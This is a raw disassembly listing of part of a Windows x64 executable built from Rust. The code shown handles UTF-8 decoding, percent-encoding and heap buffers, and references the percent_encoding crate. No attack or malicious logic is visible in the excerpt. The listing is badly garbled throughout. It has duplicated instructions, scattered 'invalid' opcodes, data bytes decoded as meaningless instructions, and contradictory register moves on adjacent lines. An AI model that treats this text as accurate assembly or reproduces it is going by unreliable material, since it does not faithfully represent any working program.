movups xmm3, xmmword [r15 + 0x30]
movaps xmmword [rbp + 0x30], xmm3
movaps xmmword [rbp + 0x20], xmm2
movaps xmmword [rbp + 0x10], xmm1
movaps xmmword [rbp], xmm0
mov byte [rbp + 0x6f], 0
mov dword [rsp + 0x28], esi
movzx eax, byte [rbp + 0x6e]
mov byte [rsp + 0x20], al
mov rdx, rbp
mov rcx, qword [rbp + 0x48]
call fcn.14017ca90
jmp 0x140182247
mov rax, qword [r15 + 0x40]
mov qword [rbp + 0x40], rax
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
movups xmm3, xmmword [r15 + 0x30]
movaps xmmword [rbp + 0x30], xmm3
movaps xmmword [rbp + 0x20], xmm2
movaps xmmword [rbp + 0x10], xmm1
movaps xmmword [rbp], xmm0
mov byte [rbp + 0x6f], 0
outsd dx, dword [rsi]
add byte [rcx + 0xf282474], cl
mov dh, 0x45
outsb dx, byte [rsi]
outsd dx, dword [rsi]
add byte [rcx + 0xf282474], cl
mov dh, 0x45
outsb dx, byte [rsi]
mov byte [rsp + 0x20], al
mov rdx, rbp
mov rcx, qword [rbp + 0x48]
mov r8, r12
mov r9, r14
call fcn.14017ca90
jmp 0x140182247
mov dword [rbx + 8], 0
jmp 0x1401832c6
jmp 0x1401830a9
mov rcx, r12
mov r8, rsi
call sub.VCRUNTIME140.dll_memcmp
add byte [rbp + 0x2c840fc0], al
add al, byte [rax]
invalid
add byte [rbp + 0x2c840fc0], al
add al, byte [rax]
add byte [rbx + rcx*4 + 0x45], cl
loopne 0x14018310d
mov r8, qword [rbp - 0x20]
mov r13, qword [rbp - 0x10]
mov ebp, dword [rbp - 0x10]
mov r9, rdi
mov qword [rbp - 0x40], r8
mov qword [rbp - 0x38], r13
mov qword [rbp - 0x48], 0
xor esi, esi
cmp byte [rbp + 0x1f], 2
lea rax, [0x1401eabd0]
lea rcx, [0x1401eabe0]
cmove rcx, rax
mov qword [rbp], rcx
test rsi, rsi
mov qword [rbp + 8], rsi
mov qword [rbp + 0x10], r8
cmove rsi, r8
mov r15, r13
mov r12, qword [rbp - 0x28]
fsubr st(3)
invalid
fsubr st(3)
sub eax, 0x441f0f
add byte [rax], r8b
add byte [rax - 0x75], cl
ror byte [r8 - 0x77], 1
ror byte [r8 - 0x73], 1
or al, 0x18
mov rax, qword [rbp - 0x30]
mov qword [rbp - 0x30], rax
lea rcx, [rax + rbx]
mov rdx, rsi
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
mov ah, 0x33
add byte [rax], al
mov ah, 0x33
add byte [rax], al
add rbx, r13
mov r9, rbx
mov ecx, ebx
mov ecx, ebx
mov qword [r12 + 0x10], rbx
mov r13, r15
mov rsi, rdi
sub r15, 1
jb 0x14018320d
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
mov dh, 6
movzx eax, byte [rsi]
movzx eax, al
test al, al
js 0x14018315d
rol byte [rax + rax*8 - 0x3e76ee88], 0xc1
jmp 0x195a37959
mov ecx, eax
shr ecx, 5
mov rdx, qword [rbp]
mov ecx, dword [rdx + rcx*4]
bt ecx, eax
jae 0x1401831b0
inc rsi
mov rdi, rsi
lea rsi, [rax + rax*2]
lea rax, [0x1401b84dd]
add rsi, rax
mov r13d, 3
mov rax, qword [r12 + 8]
mov rbx, r9
sub rax, r9
cmp rax, r13
jae 0x140183110
mov rcx, r12
mov rdx, rbx
mov r8, r13
call fcn.14018d7c0
add byte [rax], al
add byte [rax], al
mov rax, qword [r12]
mov rbx, qword [r12 + 0x10]
pop rsp
and al, 0x10
pop rsp
and al, 0x10
jmp 0x140183114
mov ecx, 1
mov r10, qword [rbp]
push rbp
add byte [rdi], cl
invalid
add byte [rax], 0
add byte [rax], al
push rbp
add byte [rdi], cl
invalid
cmp r13, rcx
je 0x1401831fe
mov rax, rcx
movzx ecx, byte [rsi + rcx]
test cl, cl
js 0x1401831e6
movzx edx, cl
mov ecx, edx
shr ecx, 5
mov r8d, dword [r10 + rcx*4]
lea rcx, [rax + 1]
bt r8d, edx
jae 0x1401831c0
sub r13, rax
jb 0x140183329
lea rdi, [rsi + rax]
mov r15, r13
mov r13, rax
jmp case.0x1400e7c73.2283
jns 0x1401831fb
invalid
invalid
jns 0x1401831fb
invalid
invalid
xor r15d, r15d
lea rdi, [0x1401ea218]
jmp case.0x1400e7c73.2283
mov r8, qword [rbp + 8]
test r8, r8
je 0x14018322c
cmp qword [rbp + 0x10], 0
cmp dword [rbp + 0x10], 0
je 0x14018322c
mov rcx, qword [0x14023c258]
mov ecx, dword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp - 0x18], 0
mov rbx, qword [rbp - 0x50]
mov r13, qword [rbp - 0x28]
mov r15, qword [rbp + 0x98]
mov rsi, qword [rbp - 8]
je 0x140183259
mov r8, qword [rbp - 0x20]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, 1
test r14, r14
je 0x1401832da
mov rsi, qword [r13 + 0x10]
mov rax, rsi
shr rax, 0x20
jne 0x140183287
cmp rsi, qword [r13 + 8]
jne 0x140183293
mov rcx, r13
mov rdx, rsi
call fcn.140050110
mov rax, qword [r13 + 0x10]
jmp 0x140183296
mov byte [rbx + 4], 9
mov dword [rbx], 2
jmp 0x1401832c6
mov rax, rsi
mov rcx, qword [r13]
mov byte [rcx + rax], 0x23
inc rax
mov qword [r13 + 0x10], rax
mov rcx, r13
mov rdx, r14
mov r8, r15
call fcn.1401826f0
mov dword [rbx], edi
mov rax, qword [rbp - 8]
mov dword [rbx + 4], eax
mov dword [rbx + 8], 1
mov dword [rbx + 0xc], esi
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov dword [rbx], 1
mov dword [rbx + 4], esi
jmp 0x140182ecd
mov rdx, qword [r13 + 0x20]
mov r8, qword [rbp - 0x20]
mov rsi, r13
mov r13, qword [rbp - 0x10]
test rdx, rdx
je 0x1401830c4
mov rax, qword [rsi + 0x28]
lea rcx, [rbp - 0x48]
mov r9, r13
call qword [rax + 0x28]
mov r9, rdi
mov rsi, qword [rbp - 0x48]
mov r8, qword [rbp - 0x40]
mov r13, qword [rbp - 0x38]
jmp 0x1401830d9
lea rcx, str.assertion_failed:_mid___self.len___rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_srcescape.rs
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fpercent_encoding_2.3.1_srclib.rs_00_01_02_03_04_05_06_07_08_09_0A_0B_0C_0D_0E_0F_10_11_12_13_14_15_16_17_18_19_1A_1B_1C_1D_1E_1F_20_21_22_23_24_25_26_27_28_29_2A_2B_2C_2D_2E_2F_30_31_32_33_34_35_36_37_38_39_3A_3B_3C_3D_3E_3F_40_41_42_43_44_45_46_47_48_49_4A_4B_4C_4D_4E_4F_50_51_52_53_54_55_56_57_58_59_5A_5B_5C_5D_5E_5F_60_61_62_63_64_65_66_67_68_69_6A_6B_6C_6D_6E_6F_70_71_72_73_74_75_76_77_78_79_7A_7B_7C_7D_7E_7F_80_81_82_83_84_85_86_87_88_89_8A_8B_8C_8D_8E_8F_90_91_92_93_94_95_96_97_98_99_9A_9B_9C_9D_9E_9F_A0_A1_A2_A3_A4_A5_A6_A7_A8_A9_AA_AB_AC_AD_AE_AF_B0_B1_B2_B3_B4_B5_B6_B7_B8_B9_BA_BB_BC_BD_BE_BF_C0_C1_C2_C3_C4_C5_C6_C7_C8_C9_CA_CB_CC_CD_CE_CF_D0_D1_D2_D3_D4_D5_D6_D7_D8_D9_DA_DB_DC_DD_DE_DF_E0_E1_E2_E3_E4_E5_E6_E7_E8_E9_EA_EB_EC_ED_EE_EF_F0_F1_F2_F3_F4_F5_F6_F7_F8_F9_FA_FB_FC_FD_FE_FF
mov edx, 0x23
call fcn.140186b70
ud2
xchg esp, eax
ror byte [rax], 0xc8
jmp 0x14018394e
cmp r10d, 0x3a
jae 0x14018394c
movabs rax, 0x200000010001001
bt rax, r10
setb al
jmp 0x14018394e
xor eax, eax
pop rbx
pop rbp
pop rdi
pop rsi
ret
push rbx
sub rsp, 0x88
lea rbp, [rsp + 0x80]
mov qword [rbp], 0xfffffffffffffffe
mov r14, r8
mov rsi, rcx
mov esi, ecx
mov esi, ecx
mov rdi, r8
sub rdi, rdx
je 0x140183c2b
xor r12d, r12d
mov eax, 0x2600
movabs rcx, 0x8000800800000000
or byte [rax + 0x31458000], al
rol byte [rbp + 0x31], 0xc9
or byte [rax + 0x31458000], al
rol byte [rbp + 0x31], 0xc9
mov qword [rbp - 0x10], rdx
jmp 0x1401839cf
add byte [rcx - 0x4c], al
add dword [rbp + 1], ecx
invalid
mov r12b, 1
add r9, r11
cmp rdx, r14
je 0x140183aeb
sbb al, 1
add byte [rax], al
sbb al, 1
add byte [rax], al
movzx r15d, byte [rdx]
movzx r10d, r15b
test r10b, r10b
js 0x140183a00
invalid
and al, 0x48
inc edx
inc rdx
mov r11d, 1
cmp r10d, 0x3f
cli
invalid
jbe 0x140183a90
cli
invalid
jmp 0x140183aa3
nop dword cs:[rax + rax]
mov r11d, r10d
and r11d, 0x1f
movzx r13d, byte [rdx + 1]
and r13d, 0x3f
cmp r10b, 0xdf
fbstp tbyte [rsi + 0x44]
fbstp tbyte [rsi + 0x44]
movzx r10d, byte [rdx + 2]
shl r13d, 6
and r10d, 0x3f
or r10d, r13d
cmp r15b, 0xf0
jb 0x140183a76
movzx ebx, byte [rdx + 3]
add rdx, 4
and r11d, 7
shl r11d, 0x12
adc al, byte [rcx - 0x3f]
loop 0x140183a46
adc al, byte [rcx - 0x3f]
loop 0x140183a46
and ebx, 0x3f
or ebx, r10d
or ebx, r11d
mov r10d, ebx
mov r11d, 1
cmp r10d, 0x3f
jbe 0x140183a90
invalid
cmp bl, ch
add rdx, 2
jmp 0x140183aa3
add rdx, 2
shl r11d, 6
or r11d, r13d
mov r10d, r11d
mov r11d, 1
cmp r10d, 0x3f
jbe 0x140183a90
invalid
sbb al, 0xeb
sub eax, 0x3c28348
jmp 0x140183aa3
add rdx, 3
shl r11d, 0xc
or r10d, r11d
mov r11d, 1
cmp r10d, 0x3f
ja 0x140183aa3
nop dword [rax]
add byte [rcx + rcx*4 - 0x2d], al
mov ebx, r10d
bt rax, rbx
jb 0x1401839c0
bt rcx, rbx
jb 0x140183aeb
cmp r10d, 0x110000
je 0x140183aeb
invalid
invalid
cmp r10d, 0x5c
je 0x140183aeb
inc r8
cmp r10d, 0x80
jb 0x1401839c3
mov r11d, 2
cmp r10d, 0x800
add byte [rcx - 0x7f], al
cli
add byte [rax], cl
add byte [rax], al
jb 0x1401839c3
cmp r10d, 0x10000
mov r11d, 4
sbb r11, 0
jmp 0x1401839c3
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], r14
test r12b, 1
sete byte [rbp - 2]
jne 0x140183c42
test r8, r8
je 0x140183bfa
add byte [rax], al
add byte [rax], al
mov eax, 0x2600
mov rcx, qword [rbp - 0x10]
mov r11, rcx
jmp 0x140183b33
mov r10d, edx
mov r11, rcx
cmp r10d, 0x110000
cmp edx, 0x110000
cmp edx, 0x110000
jne 0x140183bf1
test dword [rsi + 0x4d000000], edi
mov esi, 0x4d000000
cmp r11, r14
cmp ebx, esi
je 0x140183bfa
lea rcx, [r11 + 1]
mov qword [rbp - 0x20], rcx
movzx r15d, byte [r11]
movzx edx, r15b
xlatb
xlatb
test dl, dl
jns 0x140183bc0
mov r10d, edx
and r10d, 0x1f
lea rcx, [r11 + 2]
mov qword [rbp - 0x20], rcx
movzx ebx, byte [r11 + 1]
and ebx, 0x3f
cmp dl, 0xdf
jbe 0x140183bb5
lea rcx, [r11 + 3]
mov qword [rbp - 0x20], rcx
movzx r13d, byte [r11 + 2]
shl ebx, 6
and r13d, 0x3f
or r13d, ebx
cmp r15b, 0xf0
jb 0x140183bdd
shl ebp, 6
and edx, 0x3f
or edx, r13d
or edx, r10d
cmp edx, 0x110000
jne 0x140183bc0
jmp 0x140183bfa
shl r10d, 6
or r10d, ebx
fiadd dword [rcx + rcx*4 - 0x2e]
fiadd dword [rcx + rcx*4 - 0x2e]
nop
cmp edx, 0xd
ja 0x140183b20
mov r10d, 0x110000
bt eax, edx
jb 0x140183b23
invalid
invalid
dec r8
jne 0x140183b17
enter 0xffffffffffff850f, 0x1d
invalid
test r9, r9
mov rdx, qword [rbp - 0x10]
je 0x140183c33
cmp r9, rdi
jae 0x140183cc3
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x18], r14
mov r14d, 1
mov bl, 1
xor edi, edi
jmp 0x140183d37
add byte [rbx - 0x1600ceff], dh
cmc
add byte [rax], al
add dh, al
inc dword [r8]
mov byte [rbp - 1], 0
lea rcx, [rbp - 0x58]
lea rdx, [rbp - 0x20]
call fcn.140184930
mov rdi, qword [rbp - 0x48]
mov qword [rbp - 0x30], rdi
ror byte [rdi], 1
adc byte [rbp - 0x58], al
ror byte [rdi], 1
adc byte [rbp - 0x58], al
movaps xmmword [rbp - 0x40], xmm0
mov r15, qword [rbp - 0x40]
mov r13b, 1
mov rdx, qword [rbp - 0x10]
cmp rdi, 2
jne 0x140183cd5
movzx eax, byte [r15]
and al, 0xdf
add al, 0xbf
cmp al, 0x19
ja 0x140183cb8
movzx eax, byte [r15 + 1]
cmp eax, 0x3a
je 0x140183c8f
mov edi, 2
movzx ebx, byte [rbp - 2]
jmp 0x140183ce4
test rdi, rdi
je 0x140183d28
movzx ebx, byte [rbp - 2]
js 0x140183dca
mov r14d, 1
xor edi, edi
mov rdx, r15
movzx ebx, byte [rbp - 2]
mov rcx, r14
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [rbp - 0x20]
mov qword [rsi], r14
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], rdi
mov byte [rsi + 0x18], 1
mov eax, dword [rbp - 0x58]
mov ecx, dword [rbp - 0x55]
mov dword [rsi + 0x1c], ecx
mov dword [rsi + 0x19], eax
movups xmmword [rsi + 0x20], xmm0
test bl, bl
jne 0x140183d82
mov al, 1
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea eax, [rsp + 0x50]
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x38]
call fcn.1400141d0
test al, al
jne 0x140183eb5
lea rdx, [0x1401ea642]
lea edx, [0x1401ea642]
mov r8d, 1
mov rcx, qword [rsp + 0x28]
call qword [rsp + 0x30]
test al, al
jne 0x140183eb5
invalid
dec dword [rcx - 0x7d]
cld
add al, 0xf
test byte [rax], dl
add al, byte [rax]
add byte [rax - 0x73], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x40
cmp r12, 4
je 0x1401846a6
lea rax, [rsp + 0x88]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 1
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x60], r15
invalid
mov qword [rsp + 0x68], 1
lea r8, [rsp + 0x50]
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x38]
call fcn.1400141d0
call 0x14fd8c9e3
test esp, ecx
stc
invalid
invalid
invalid
call 0x14fd8c9e3
test esp, ecx
stc
invalid
lea rdx, [0x1401ea642]
mov r8d, 1
mov rcx, qword [rsp + 0x28]
call qword [rsp + 0x30]
test al, al
jne 0x140183eb5
cmp r12, 5
je 0x1401846a6
lea rax, [rsp + 0x8a]
add byte [rax], al
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 1
mov qword [rsp + 0x70], 0
and al, 0x70
add byte [rax], al
add byte [rax], al
and al, 0x70
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 1
lea r8, [rsp + 0x50]
mov rcx, qword [rsp + 0x28]
and al, 0x28
and al, 0x28
mov rdx, qword [rsp + 0x38]
call fcn.1400141d0
test al, al
jne 0x140183eb5
lea rdx, [0x1401ea642]
mov r8d, 1
mov rcx, qword [rsp + 0x28]
call qword [rsp + 0x30]
test al, al
jne 0x140183eb5
cmp r12, 6
je 0x1401846a6
lea rax, [rsp + 0x8c]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 1
mov qword [rsp + 0x70], 0
and al, 0x70
add byte [rax], al
add byte [rax], al
and al, 0x70
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x60], r15
mov dword [rsp + 0x60], edi
mov qword [rsp + 0x68], 1
lea r8, [rsp + 0x50]
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x38]
call fcn.1400141d0
test al, al
jne 0x140183eb5
lea rdx, [0x1401ea642]
mov r8d, 1
mov rcx, qword [rsp + 0x28]
call qword [rsp + 0x30]
test al, al
jne 0x140183eb5
cmp r12, 7
je 0x1401846a6
lea rax, [rsp + 0x8e]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 1
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 1
lea r8, [rsp + 0x50]
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x38]
call fcn.1400141d0
jmp 0x1401846bc
lea rdx, [0x1401ea642]
mov r8d, 1
mov rcx, qword [rsp + 0x28]
call qword [rsp + 0x30]
test al, al
jne 0x140183eb5
lea rdx, [0x1401ea641]
mov r8d, 1
mov rcx, qword [rsp + 0x28]
mov rax, qword [rsp + 0x30]
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp rax